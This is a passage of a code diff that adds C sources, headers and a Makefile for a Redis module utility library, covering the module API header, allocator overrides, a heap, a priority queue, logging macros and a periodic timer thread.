+int REDISMODULE_API_FUNC(RedisModule_DictSet)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
+int REDISMODULE_API_FUNC(RedisModule_DictReplace)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
+void *REDISMODULE_API_FUNC(RedisModule_DictGetC)(RedisModuleDict *d, void *key, size_t keylen, int *nokey);
+void *REDISMODULE_API_FUNC(RedisModule_DictGet)(RedisModuleDict *d, RedisModuleString *key, int *nokey);
+int REDISMODULE_API_FUNC(RedisModule_DictDelC)(RedisModuleDict *d, void *key, size_t keylen, void *oldval);
+int REDISMODULE_API_FUNC(RedisModule_DictDel)(RedisModuleDict *d, RedisModuleString *key, void *oldval);
+RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStartC)(RedisModuleDict *d, const char *op, void *key, size_t keylen);
+RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStart)(RedisModuleDict *d, const char *op, RedisModuleString *key);
+void REDISMODULE_API_FUNC(RedisModule_DictIteratorStop)(RedisModuleDictIter *di);
+int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseekC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
+int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseek)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
+void *REDISMODULE_API_FUNC(RedisModule_DictNextC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
+void *REDISMODULE_API_FUNC(RedisModule_DictPrevC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictNext)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictPrev)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
+int REDISMODULE_API_FUNC(RedisModule_DictCompareC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
+int REDISMODULE_API_FUNC(RedisModule_DictCompare)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
+
+/* Experimental APIs */
+#ifdef REDISMODULE_EXPERIMENTAL_API
+#define REDISMODULE_EXPERIMENTAL_API_VERSION 3
+RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_BlockClient)(RedisModuleCtx *ctx, RedisModuleCmdFunc reply_callback, RedisModuleCmdFunc timeout_callback, void (*free_privdata)(RedisModuleCtx*,void*), long long timeout_ms);
+int REDISMODULE_API_FUNC(RedisModule_UnblockClient)(RedisModuleBlockedClient *bc, void *privdata);
+int REDISMODULE_API_FUNC(RedisModule_IsBlockedReplyRequest)(RedisModuleCtx *ctx);
+int REDISMODULE_API_FUNC(RedisModule_IsBlockedTimeoutRequest)(RedisModuleCtx *ctx);
+void *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientPrivateData)(RedisModuleCtx *ctx);
+RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientHandle)(RedisModuleCtx *ctx);
+int REDISMODULE_API_FUNC(RedisModule_AbortBlock)(RedisModuleBlockedClient *bc);
+RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetThreadSafeContext)(RedisModuleBlockedClient *bc);
+void REDISMODULE_API_FUNC(RedisModule_FreeThreadSafeContext)(RedisModuleCtx *ctx);
+void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextLock)(RedisModuleCtx *ctx);
+void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextUnlock)(RedisModuleCtx *ctx);
+int REDISMODULE_API_FUNC(RedisModule_SubscribeToKeyspaceEvents)(RedisModuleCtx *ctx, int types, RedisModuleNotificationFunc cb);
+int REDISMODULE_API_FUNC(RedisModule_BlockedClientDisconnected)(RedisModuleCtx *ctx);
+void REDISMODULE_API_FUNC(RedisModule_RegisterClusterMessageReceiver)(RedisModuleCtx *ctx, uint8_t type, RedisModuleClusterMessageReceiver callback);
+int REDISMODULE_API_FUNC(RedisModule_SendClusterMessage)(RedisModuleCtx *ctx, char *target_id, uint8_t type, unsigned char *msg, uint32_t len);
+int REDISMODULE_API_FUNC(RedisModule_GetClusterNodeInfo)(RedisModuleCtx *ctx, const char *id, char *ip, char *master_id, int *port, int *flags);
+char **REDISMODULE_API_FUNC(RedisModule_GetClusterNodesList)(RedisModuleCtx *ctx, size_t *numnodes);
+void REDISMODULE_API_FUNC(RedisModule_FreeClusterNodesList)(char **ids);
+RedisModuleTimerID REDISMODULE_API_FUNC(RedisModule_CreateTimer)(RedisModuleCtx *ctx, mstime_t period, RedisModuleTimerProc callback, void *data);
+int REDISMODULE_API_FUNC(RedisModule_StopTimer)(RedisModuleCtx *ctx, RedisModuleTimerID id, void **data);
+int REDISMODULE_API_FUNC(RedisModule_GetTimerInfo)(RedisModuleCtx *ctx, RedisModuleTimerID id, uint64_t *remaining, void **data);
+const char *REDISMODULE_API_FUNC(RedisModule_GetMyClusterID)(void);
+size_t REDISMODULE_API_FUNC(RedisModule_GetClusterSize)(void);
+void REDISMODULE_API_FUNC(RedisModule_GetRandomBytes)(unsigned char *dst, size_t len);
+void REDISMODULE_API_FUNC(RedisModule_GetRandomHexChars)(char *dst, size_t len);
+void REDISMODULE_API_FUNC(RedisModule_SetDisconnectCallback)(RedisModuleBlockedClient *bc, RedisModuleDisconnectFunc callback);
+void REDISMODULE_API_FUNC(RedisModule_SetClusterFlags)(RedisModuleCtx *ctx, uint64_t flags);
+#endif
+
+/* This is included inline inside each Redis module. */
+static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) __attribute__((unused));
+static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) {
+    void *getapifuncptr = ((void**)ctx)[0];
+    RedisModule_GetApi = (int (*)(const char *, void *)) (unsigned long)getapifuncptr;
+    REDISMODULE_GET_API(Alloc);
+    REDISMODULE_GET_API(Calloc);
+    REDISMODULE_GET_API(Free);
+    REDISMODULE_GET_API(Realloc);
+    REDISMODULE_GET_API(Strdup);
+    REDISMODULE_GET_API(CreateCommand);
+    REDISMODULE_GET_API(SetModuleAttribs);
+    REDISMODULE_GET_API(IsModuleNameBusy);
+    REDISMODULE_GET_API(WrongArity);
+    REDISMODULE_GET_API(ReplyWithLongLong);
+    REDISMODULE_GET_API(ReplyWithError);
+    REDISMODULE_GET_API(ReplyWithSimpleString);
+    REDISMODULE_GET_API(ReplyWithArray);
+    REDISMODULE_GET_API(ReplySetArrayLength);
+    REDISMODULE_GET_API(ReplyWithStringBuffer);
+    REDISMODULE_GET_API(ReplyWithString);
+    REDISMODULE_GET_API(ReplyWithNull);
+    REDISMODULE_GET_API(ReplyWithCallReply);
+    REDISMODULE_GET_API(ReplyWithDouble);
+    REDISMODULE_GET_API(ReplySetArrayLength);
+    REDISMODULE_GET_API(GetSelectedDb);
+    REDISMODULE_GET_API(SelectDb);
+    REDISMODULE_GET_API(OpenKey);
+    REDISMODULE_GET_API(CloseKey);
+    REDISMODULE_GET_API(KeyType);
+    REDISMODULE_GET_API(ValueLength);
+    REDISMODULE_GET_API(ListPush);
+    REDISMODULE_GET_API(ListPop);
+    REDISMODULE_GET_API(StringToLongLong);
+    REDISMODULE_GET_API(StringToDouble);
+    REDISMODULE_GET_API(Call);
+    REDISMODULE_GET_API(CallReplyProto);
+    REDISMODULE_GET_API(FreeCallReply);
+    REDISMODULE_GET_API(CallReplyInteger);
+    REDISMODULE_GET_API(CallReplyType);
+    REDISMODULE_GET_API(CallReplyLength);
+    REDISMODULE_GET_API(CallReplyArrayElement);
+    REDISMODULE_GET_API(CallReplyStringPtr);
+    REDISMODULE_GET_API(CreateStringFromCallReply);
+    REDISMODULE_GET_API(CreateString);
+    REDISMODULE_GET_API(CreateStringFromLongLong);
+    REDISMODULE_GET_API(CreateStringFromString);
+    REDISMODULE_GET_API(CreateStringPrintf);
+    REDISMODULE_GET_API(FreeString);
+    REDISMODULE_GET_API(StringPtrLen);
+    REDISMODULE_GET_API(AutoMemory);
+    REDISMODULE_GET_API(Replicate);
+    REDISMODULE_GET_API(ReplicateVerbatim);
+    REDISMODULE_GET_API(DeleteKey);
+    REDISMODULE_GET_API(UnlinkKey);
+    REDISMODULE_GET_API(StringSet);
+    REDISMODULE_GET_API(StringDMA);
+    REDISMODULE_GET_API(StringTruncate);
+    REDISMODULE_GET_API(GetExpire);
+    REDISMODULE_GET_API(SetExpire);
+    REDISMODULE_GET_API(ZsetAdd);
+    REDISMODULE_GET_API(ZsetIncrby);
+    REDISMODULE_GET_API(ZsetScore);
+    REDISMODULE_GET_API(ZsetRem);
+    REDISMODULE_GET_API(ZsetRangeStop);
+    REDISMODULE_GET_API(ZsetFirstInScoreRange);
+    REDISMODULE_GET_API(ZsetLastInScoreRange);
+    REDISMODULE_GET_API(ZsetFirstInLexRange);
+    REDISMODULE_GET_API(ZsetLastInLexRange);
+    REDISMODULE_GET_API(ZsetRangeCurrentElement);
+    REDISMODULE_GET_API(ZsetRangeNext);
+    REDISMODULE_GET_API(ZsetRangePrev);
+    REDISMODULE_GET_API(ZsetRangeEndReached);
+    REDISMODULE_GET_API(HashSet);
+    REDISMODULE_GET_API(HashGet);
+    REDISMODULE_GET_API(IsKeysPositionRequest);
+    REDISMODULE_GET_API(KeyAtPos);
+    REDISMODULE_GET_API(GetClientId);
+    REDISMODULE_GET_API(GetContextFlags);
+    REDISMODULE_GET_API(PoolAlloc);
+    REDISMODULE_GET_API(CreateDataType);
+    REDISMODULE_GET_API(ModuleTypeSetValue);
+    REDISMODULE_GET_API(ModuleTypeGetType);
+    REDISMODULE_GET_API(ModuleTypeGetValue);
+    REDISMODULE_GET_API(SaveUnsigned);
+    REDISMODULE_GET_API(LoadUnsigned);
+    REDISMODULE_GET_API(SaveSigned);
+    REDISMODULE_GET_API(LoadSigned);
+    REDISMODULE_GET_API(SaveString);
+    REDISMODULE_GET_API(SaveStringBuffer);
+    REDISMODULE_GET_API(LoadString);
+    REDISMODULE_GET_API(LoadStringBuffer);
+    REDISMODULE_GET_API(SaveDouble);
+    REDISMODULE_GET_API(LoadDouble);
+    REDISMODULE_GET_API(SaveFloat);
+    REDISMODULE_GET_API(LoadFloat);
+    REDISMODULE_GET_API(EmitAOF);
+    REDISMODULE_GET_API(Log);
+    REDISMODULE_GET_API(LogIOError);
+    REDISMODULE_GET_API(StringAppendBuffer);
+    REDISMODULE_GET_API(RetainString);
+    REDISMODULE_GET_API(StringCompare);
+    REDISMODULE_GET_API(GetContextFromIO);
+    REDISMODULE_GET_API(Milliseconds);
+    REDISMODULE_GET_API(DigestAddStringBuffer);
+    REDISMODULE_GET_API(DigestAddLongLong);
+    REDISMODULE_GET_API(DigestEndSequence);
+    REDISMODULE_GET_API(CreateDict);
+    REDISMODULE_GET_API(FreeDict);
+    REDISMODULE_GET_API(DictSize);
+    REDISMODULE_GET_API(DictSetC);
+    REDISMODULE_GET_API(DictReplaceC);
+    REDISMODULE_GET_API(DictSet);
+    REDISMODULE_GET_API(DictReplace);
+    REDISMODULE_GET_API(DictGetC);
+    REDISMODULE_GET_API(DictGet);
+    REDISMODULE_GET_API(DictDelC);
+    REDISMODULE_GET_API(DictDel);
+    REDISMODULE_GET_API(DictIteratorStartC);
+    REDISMODULE_GET_API(DictIteratorStart);
+    REDISMODULE_GET_API(DictIteratorStop);
+    REDISMODULE_GET_API(DictIteratorReseekC);
+    REDISMODULE_GET_API(DictIteratorReseek);
+    REDISMODULE_GET_API(DictNextC);
+    REDISMODULE_GET_API(DictPrevC);
+    REDISMODULE_GET_API(DictNext);
+    REDISMODULE_GET_API(DictPrev);
+    REDISMODULE_GET_API(DictCompare);
+    REDISMODULE_GET_API(DictCompareC);
+
+#ifdef REDISMODULE_EXPERIMENTAL_API
+    REDISMODULE_GET_API(GetThreadSafeContext);
+    REDISMODULE_GET_API(FreeThreadSafeContext);
+    REDISMODULE_GET_API(ThreadSafeContextLock);
+    REDISMODULE_GET_API(ThreadSafeContextUnlock);
+    REDISMODULE_GET_API(BlockClient);
+    REDISMODULE_GET_API(UnblockClient);
+    REDISMODULE_GET_API(IsBlockedReplyRequest);
+    REDISMODULE_GET_API(IsBlockedTimeoutRequest);
+    REDISMODULE_GET_API(GetBlockedClientPrivateData);
+    REDISMODULE_GET_API(GetBlockedClientHandle);
+    REDISMODULE_GET_API(AbortBlock);
+    REDISMODULE_GET_API(SetDisconnectCallback);
+    REDISMODULE_GET_API(SubscribeToKeyspaceEvents);
+    REDISMODULE_GET_API(BlockedClientDisconnected);
+    REDISMODULE_GET_API(RegisterClusterMessageReceiver);
+    REDISMODULE_GET_API(SendClusterMessage);
+    REDISMODULE_GET_API(GetClusterNodeInfo);
+    REDISMODULE_GET_API(GetClusterNodesList);
+    REDISMODULE_GET_API(FreeClusterNodesList);
+    REDISMODULE_GET_API(CreateTimer);
+    REDISMODULE_GET_API(StopTimer);
+    REDISMODULE_GET_API(GetTimerInfo);
+    REDISMODULE_GET_API(GetMyClusterID);
+    REDISMODULE_GET_API(GetClusterSize);
+    REDISMODULE_GET_API(GetRandomBytes);
+    REDISMODULE_GET_API(GetRandomHexChars);
+    REDISMODULE_GET_API(SetClusterFlags);
+#endif
+
+    if (RedisModule_IsModuleNameBusy && RedisModule_IsModuleNameBusy(name)) return REDISMODULE_ERR;
+    RedisModule_SetModuleAttribs(ctx,name,ver,apiver);
+    return REDISMODULE_OK;
+}
+
+#else
+
+/* Things only defined for the modules core, not exported to modules
+ * including this file. */
+#define RedisModuleString robj
+
+#endif /* REDISMODULE_CORE */
+#endif /* REDISMOUDLE_H */
@@ -0,0 +1,31 @@
+# set environment variable RM_INCLUDE_DIR to the location of redismodule.h
+ifndef RM_INCLUDE_DIR
+	RM_INCLUDE_DIR=../
+endif
+
+CFLAGS ?= -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function
+CFLAGS += -I$(RM_INCLUDE_DIR)
+CC=gcc
+
+OBJS=util.o strings.o sds.o vector.o alloc.o periodic.o
+
+all: librmutil.a
+
+clean:
+	rm -rf *.o *.a
+
+librmutil.a: $(OBJS)
+	ar rcs $@ $^
+
+test_vector: test_vector.o vector.o
+	$(CC) -Wall -o $@ $^ -lc -lpthread -O0
+	@(sh -c ./$@)
+.PHONY: test_vector
+
+test_periodic: test_periodic.o periodic.o
+	$(CC) -Wall -o $@ $^ -lc -lpthread -O0
+	@(sh -c ./$@)
+.PHONY: test_periodic
+	
+test: test_periodic test_vector
+.PHONY: test
@@ -0,0 +1,32 @@
+#include <string.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include "alloc.h"
+
+/* A patched implementation of strdup that will use our patched calloc */
+char *rmalloc_strndup(const char *s, size_t n) {
+  char *ret = calloc(n + 1, sizeof(char));
+  if (ret)
+    memcpy(ret, s, n);
+  return ret;
+}
+
+/*
+ * Re-patching RedisModule_Alloc and friends to the original malloc functions
+ *
+ * This function should be called if you are working with malloc-patched code
+ * outside of redis, usually for unit tests. Call it once when entering your unit
+ * tests' main().
+ *
+ * Since including "alloc.h" while defining REDIS_MODULE_TARGET
+ * replaces all malloc functions in redis with the RM_Alloc family of functions,
+ * when running that code outside of redis, your app will crash. This function
+ * patches the RM_Alloc functions back to the original mallocs. */
+void RMUTil_InitAlloc() {
+
+  RedisModule_Alloc = malloc;
+  RedisModule_Realloc = realloc;
+  RedisModule_Calloc = calloc;
+  RedisModule_Free = free;
+  RedisModule_Strdup = strdup;
+}
@@ -0,0 +1,51 @@
+#ifndef __RMUTIL_ALLOC__
+#define __RMUTIL_ALLOC__
+
+/* Automatic Redis Module Allocation functions monkey-patching.
+ *
+ * Including this file while REDIS_MODULE_TARGET is defined, will explicitly
+ * override malloc, calloc, realloc & free with RedisModule_Alloc,
+ * RedisModule_Callc, etc implementations, that allow Redis better control and
+ * reporting over allocations per module.
+ *
+ * You should include this file in all c files AS THE LAST INCLUDED FILE
+ *
+ * This only has effect when when compiling with the macro REDIS_MODULE_TARGET
+ * defined. The idea is that for unit tests it will not be defined, but for the
+ * module build target it will be.
+ *
+ */
+
+#include <stdlib.h>
+#include <redismodule.h>
+
+char *rmalloc_strndup(const char *s, size_t n);
+
+#ifdef REDIS_MODULE_TARGET /* Set this when compiling your code as a module */
+
+#define malloc(size) RedisModule_Alloc(size)
+#define calloc(count, size) RedisModule_Calloc(count, size)
+#define realloc(ptr, size) RedisModule_Realloc(ptr, size)
+#define free(ptr) RedisModule_Free(ptr)
+
+#ifdef strdup
+#undef strdup
+#endif
+#define strdup(ptr) RedisModule_Strdup(ptr)
+
+/* More overriding */
+// needed to avoid calling strndup->malloc
+#ifdef strndup
+#undef strndup
+#endif
+#define strndup(s, n) rmalloc_strndup(s, n)
+
+#else
+
+#endif /* REDIS_MODULE_TARGET */
+/* This function should be called if you are working with malloc-patched code
+ * outside of redis, usually for unit tests. Call it once when entering your unit
+ * tests' main() */
+void RMUTil_InitAlloc();
+
+#endif /* __RMUTIL_ALLOC__ */
@@ -0,0 +1,107 @@
+#include "heap.h"
+
+/* Byte-wise swap two items of size SIZE. */
+#define SWAP(a, b, size)                      \
+  do                                          \
+    {                                         \
+      register size_t __size = (size);        \
+      register char *__a = (a), *__b = (b);   \
+      do                                      \
+        {                                     \
+          char __tmp = *__a;                  \
+          *__a++ = *__b;                      \
+          *__b++ = __tmp;                     \
+        } while (--__size > 0);               \
+    } while (0)
+
+inline char *__vector_GetPtr(Vector *v, size_t pos) {
+    return v->data + (pos * v->elemSize);
+}
+
+void __sift_up(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
+    size_t len = last - first;
+    if (len > 1) {
+        len = (len - 2) / 2;
+        size_t ptr = first + len;
+        if (cmp(__vector_GetPtr(v, ptr), __vector_GetPtr(v, --last)) < 0) {
+            char t[v->elemSize];
+            memcpy(t, __vector_GetPtr(v, last), v->elemSize);
+            do {
+                memcpy(__vector_GetPtr(v, last), __vector_GetPtr(v, ptr), v->elemSize);
+                last = ptr;
+                if (len == 0)
+                    break;
+                len = (len - 1) / 2;
+                ptr = first + len;
+            } while (cmp(__vector_GetPtr(v, ptr), t) < 0);
+            memcpy(__vector_GetPtr(v, last), t, v->elemSize);
+        }
+    }
+}
+
+void __sift_down(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *), size_t start) {
+    // left-child of __start is at 2 * __start + 1
+    // right-child of __start is at 2 * __start + 2
+    size_t len = last - first;
+    size_t child = start - first;
+
+    if (len < 2 || (len - 2) / 2 < child)
+        return;
+
+    child = 2 * child + 1;
+
+    if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
+        // right-child exists and is greater than left-child
+        ++child;
+    }
+
+    // check if we are in heap-order
+    if (cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, start)) < 0)
+        // we are, __start is larger than it's largest child
+        return;
+
+    char top[v->elemSize];
+    memcpy(top, __vector_GetPtr(v, start), v->elemSize);
+    do {
+        // we are not in heap-order, swap the parent with it's largest child
+        memcpy(__vector_GetPtr(v, start), __vector_GetPtr(v, first + child), v->elemSize);
+        start = first + child;
+
+        if ((len - 2) / 2 < child)
+            break;
+
+        // recompute the child based off of the updated parent
+        child = 2 * child + 1;
+
+        if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
+            // right-child exists and is greater than left-child
+            ++child;
+        }
+
+        // check if we are in heap-order
+    } while (cmp(__vector_GetPtr(v, first + child), top) >= 0);
+    memcpy(__vector_GetPtr(v, start), top, v->elemSize);
+}
+
+
+void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
+    if (last - first > 1) {
+        // start from the first parent, there is no need to consider children
+        for (int start = (last - first - 2) / 2; start >= 0; --start) {
+            __sift_down(v, first, last, cmp, first + start);
+        }
+    }
+}
+
+
+inline void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
+    __sift_up(v, first, last, cmp);
+}
+
+
+inline void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
+    if (last - first > 1) {
+        SWAP(__vector_GetPtr(v, first), __vector_GetPtr(v, --last), v->elemSize);
+        __sift_down(v, first, last, cmp, first);
+    }
+}
@@ -0,0 +1,38 @@
+#ifndef __HEAP_H__
+#define __HEAP_H__
+
+#include "vector.h"
+
+
+/* Make heap from range
+ * Rearranges the elements in the range [first,last) in such a way that they form a heap.
+ * A heap is a way to organize the elements of a range that allows for fast retrieval of the element with the highest
+ * value at any moment (with pop_heap), even repeatedly, while allowing for fast insertion of new elements (with
+ * push_heap).
+ * The element with the highest value is always pointed by first. The order of the other elements depends on the
+ * particular implementation, but it is consistent throughout all heap-related functions of this header.
+ * The elements are compared using cmp.
+ */
+void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
+
+
+/* Push element into heap range
+ * Given a heap in the range [first,last-1), this function extends the range considered a heap to [first,last) by
+ * placing the value in (last-1) into its corresponding location within it.
+ * A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
+ * are added and removed from it using push_heap and pop_heap, respectively.
+ */
+void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
+
+
+/* Pop element from heap range
+ * Rearranges the elements in the heap range [first,last) in such a way that the part considered a heap is shortened
+ * by one: The element with the highest value is moved to (last-1).
+ * While the element with the highest value is moved from first to (last-1) (which now is out of the heap), the other
+ * elements are reorganized in such a way that the range [first,last-1) preserves the properties of a heap.
+ * A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
+ * are added and removed from it using push_heap and pop_heap, respectively.
+ */
+void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
+
+#endif //__HEAP_H__
@@ -0,0 +1,11 @@
+#ifndef __RMUTIL_LOGGING_H__
+#define __RMUTIL_LOGGING_H__
+
+/* Convenience macros for redis logging */
+
+#define RM_LOG_DEBUG(ctx, ...) RedisModule_Log(ctx, "debug", __VA_ARGS__)
+#define RM_LOG_VERBOSE(ctx, ...) RedisModule_Log(ctx, "verbose", __VA_ARGS__)
+#define RM_LOG_NOTICE(ctx, ...) RedisModule_Log(ctx, "notice", __VA_ARGS__)
+#define RM_LOG_WARNING(ctx, ...) RedisModule_Log(ctx, "warning", __VA_ARGS__)
+
+#endif
@@ -0,0 +1,88 @@
+#define REDISMODULE_EXPERIMENTAL_API
+#include "periodic.h"
+#include <pthread.h>
+#include <stdlib.h>
+#include <errno.h>
+
+typedef struct RMUtilTimer {
+  RMutilTimerFunc cb;
+  RMUtilTimerTerminationFunc onTerm;
+  void *privdata;
+  struct timespec interval;
+  pthread_t thread;
+  pthread_mutex_t lock;
+  pthread_cond_t cond;
+} RMUtilTimer;
+
+static struct timespec timespecAdd(struct timespec *a, struct timespec *b) {
+  struct timespec ret;
+  ret.tv_sec = a->tv_sec + b->tv_sec;
+
+  long long ns = a->tv_nsec + b->tv_nsec;
+  ret.tv_sec += ns / 1000000000;
+  ret.tv_nsec = ns % 1000000000;
+  return ret;
+}
+
+static void *rmutilTimer_Loop(void *ctx) {
+  RMUtilTimer *tm = ctx;
+
+  int rc = ETIMEDOUT;
+  struct timespec ts;
+
+  pthread_mutex_lock(&tm->lock);
+  while (rc != 0) {
+    clock_gettime(CLOCK_REALTIME, &ts);
+    struct timespec timeout = timespecAdd(&ts, &tm->interval);
+    if ((rc = pthread_cond_timedwait(&tm->cond, &tm->lock, &timeout)) == ETIMEDOUT) {
+
+      // Create a thread safe context if we're running inside redis
+      RedisModuleCtx *rctx = NULL;
+      if (RedisModule_GetThreadSafeContext) rctx = RedisModule_GetThreadSafeContext(NULL);
+
+      // call our callback...
+      tm->cb(rctx, tm->privdata);
+
+      // If needed - free the thread safe context.
+      // It's up to the user to decide whether automemory is active there
+      if (rctx) RedisModule_FreeThreadSafeContext(rctx);
+    }
+    if (rc == EINVAL) {
+      perror("Error waiting for condition");
+      break;
+    }
+  }
+
+  // call the termination callback if needed
+  if (tm->onTerm != NULL) {
+    tm->onTerm(tm->privdata);
+  }
+
+  // free resources associated with the timer
+  pthread_cond_destroy(&tm->cond);
+  free(tm);
+
+  return NULL;
+}
+
+/* set a new frequency for the timer. This will take effect AFTER the next trigger */
+void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval) {
+  t->interval = newInterval;
+}
+
+RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
+                                     void *privdata, struct timespec interval) {
+  RMUtilTimer *ret = malloc(sizeof(*ret));
+  *ret = (RMUtilTimer){
+      .privdata = privdata, .interval = interval, .cb = cb, .onTerm = onTerm,
+  };
+  pthread_cond_init(&ret->cond, NULL);
+  pthread_mutex_init(&ret->lock, NULL);
+
+  pthread_create(&ret->thread, NULL, rmutilTimer_Loop, ret);
+  return ret;
+}
+
+int RMUtilTimer_Terminate(struct RMUtilTimer *t) {
+  return pthread_cond_signal(&t->cond);
+}
@@ -0,0 +1,46 @@
+#ifndef RMUTIL_PERIODIC_H_
+#define RMUTIL_PERIODIC_H_
+#include <time.h>
+#include <redismodule.h>
+
+/** periodic.h - Utility periodic timer running a task repeatedly every given time interval */
+
+/* RMUtilTimer - opaque context for the timer */
+struct RMUtilTimer;
+
+/* RMutilTimerFunc - callback type for timer tasks. The ctx is a thread-safe redis module context
+ * that should be locked/unlocked by the callback when running stuff against redis. privdata is
+ * pre-existing private data */
+typedef void (*RMutilTimerFunc)(RedisModuleCtx *ctx, void *privdata);
+
+typedef void (*RMUtilTimerTerminationFunc)(void *privdata);
+
+/* Create and start a new periodic timer. Each timer has its own thread and can only be run and
+ * stopped once. The timer runs `cb` every `interval` with `privdata` passed to the callback. */
+struct RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
+                                            void *privdata, struct timespec interval);
+
+/* set a new frequency for the timer. This will take effect AFTER the next trigger */
+void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval);
+
+/* Stop the timer loop, call the termination callbck to free up any resources linked to the timer,
+ * and free the timer after stopping.
+ *
+ * This function doesn't wait for the thread to terminate, as it may cause a race condition if the
+ * timer's callback is waiting for the redis global lock.
+ * Instead you should make sure any resources are freed by the callback after the thread loop is
+ * finished.
+ *
+ * The timer is freed automatically, so the callback doesn't need to do anything about it.
+ * The callback gets the timer's associated privdata as its argument.
+ *
+ * If no callback is specified we do not free up privdata. If privdata is NULL we still call the
+ * callback, as it may log stuff or free global resources.
+ */
+int RMUtilTimer_Terminate(struct RMUtilTimer *t);
+
+/* DEPRECATED - do not use this function (well now you can't), use terminate instead
+    Free the timer context. The caller should be responsible for freeing the private data at this
+ * point */
+// void RMUtilTimer_Free(struct RMUtilTimer *t);
+#endif
@@ -0,0 +1,36 @@
+#include "priority_queue.h"
+#include "heap.h"
+
+PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *)) {
+    PriorityQueue *pq = malloc(sizeof(PriorityQueue));
+    pq->v = __newVectorSize(elemSize, cap);
+    pq->cmp = cmp;
+    return pq;
+}
+
+inline size_t Priority_Queue_Size(PriorityQueue *pq) {
+    return Vector_Size(pq->v);
+}
+
+inline int Priority_Queue_Top(PriorityQueue *pq, void *ptr) {
+    return Vector_Get(pq->v, 0, ptr);
+}
+
+inline size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem) {
+    size_t top = __vector_PushPtr(pq->v, elem);
+    Heap_Push(pq->v, 0, top, pq->cmp);
+    return top;
+}
+
+inline void Priority_Queue_Pop(PriorityQueue *pq) {
+    if (pq->v->top == 0) {
+        return;
+    }
+    Heap_Pop(pq->v, 0, pq->v->top, pq->cmp);
+    pq->v->top--;
+}
+
+void Priority_Queue_Free(PriorityQueue *pq) {
+    Vector_Free(pq->v);
+    free(pq);
+}
@@ -0,0 +1,55 @@
+#ifndef __PRIORITY_QUEUE_H__
+#define __PRIORITY_QUEUE_H__
+
+#include "vector.h"
+
+/* Priority queue
+ * Priority queues are designed such that its first element is always the greatest of the elements it contains.
+ * This context is similar to a heap, where elements can be inserted at any moment, and only the max heap element can be
+ * retrieved (the one at the top in the priority queue).
+ * Priority queues are implemented as Vectors. Elements are popped from the "back" of Vector, which is known as the top
+ * of the priority queue.
+ */
+typedef struct {
+    Vector *v;
+
+    int (*cmp)(void *, void *);
+} PriorityQueue;
+
+/* Construct priority queue
+ * Constructs a priority_queue container adaptor object.
+ */
+PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *));
+
+#define NewPriorityQueue(type, cap, cmp) __newPriorityQueueSize(sizeof(type), cap, cmp)
+
+/* Return size
+ * Returns the number of elements in the priority_queue.
+ */
+size_t Priority_Queue_Size(PriorityQueue *pq);
+
+/* Access top element
+ * Copy the top element in the priority_queue to ptr.
+ * The top element is the element that compares higher in the priority_queue.
+ */
+int Priority_Queue_Top(PriorityQueue *pq, void *ptr);
+
+/* Insert element
+ * Inserts a new element in the priority_queue.
+ */
+size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem);
+
+#define Priority_Queue_Push(pq, elem) __priority_Queue_PushPtr(pq, &(typeof(elem)){elem})
+
+/* Remove top element
+ * Removes the element on top of the priority_queue, effectively reducing its size by one. The element removed is the
+ * one with the highest value.
+ * The value of this element can be retrieved before being popped by calling Priority_Queue_Top.
+ */
+void Priority_Queue_Pop(PriorityQueue *pq);
+
+/* free the priority queue and the underlying data. Does not release its elements if
+ * they are pointers */
+void Priority_Queue_Free(PriorityQueue *pq);
+
+#endif //__PRIORITY_QUEUE_H__
@@ -0,0 +1,1274 @@
